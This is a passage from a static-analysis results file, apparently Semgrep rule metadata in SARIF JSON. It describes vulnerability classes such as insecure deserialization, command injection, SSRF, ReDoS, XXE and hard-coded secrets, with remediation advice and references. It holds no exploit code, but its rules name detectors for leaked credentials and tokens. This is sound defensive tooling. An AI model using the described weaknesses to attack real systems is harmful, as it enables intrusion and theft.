object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"help":{"markdown":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing)\n - [https://www.npmjs.com/package/serve-index](https://www.npmjs.com/package/serve-index)\n - [https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/](https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/)\n","text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","id":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","name":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","properties":{"precision":"very-high","tags":["CWE-548: Exposure of Information Through Directory Listing","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"help":{"markdown":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n - [https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/](https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/)\n - [https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html)\n","text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"helpUri":"https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","id":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","name":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","CWE-862: Missing Authorization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"help":{"markdown":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","id":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","name":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url","id":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","name":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"JWT token detected"},"help":{"markdown":"JWT token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"JWT token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token","id":"generic.secrets.security.detected-jwt-token.detected-jwt-token","name":"generic.secrets.security.detected-jwt-token.detected-jwt-token","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-jwt-token.detected-jwt-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","id":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","name":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"help":{"markdown":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection)\n - [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)\n","text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection","id":"csharp.dotnet.security.razor-template-injection.razor-template-injection","name":"csharp.dotnet.security.razor-template-injection.razor-template-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.razor-template-injection.razor-template-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"help":{"markdown":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting)\n - [https://www.owasp.org/index.php/HTTP_Response_Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting)\n","text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting","id":"java.lang.security.audit.http-response-splitting.http-response-splitting","name":"java.lang.security.audit.http-response-splitting.http-response-splitting","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.http-response-splitting.http-response-splitting"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","id":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","name":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"help":{"markdown":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"helpUri":"https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos","id":"javascript.express.regexp-redos.regexp-redos","name":"javascript.express.regexp-redos.regexp-redos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.regexp-redos.regexp-redos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Snyk API Key detected"},"help":{"markdown":"Snyk API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Snyk API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","id":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","name":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `encoding` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `encoding` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2)\n","text":"the `encoding` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2","id":"python.lang.compatibility.python36.python36-compatibility-Popen2","name":"python.lang.compatibility.python36.python36-compatibility-Popen2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","id":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","name":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Database instance has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"Database instance has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Database instance has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","id":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","name":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","id":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","name":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the 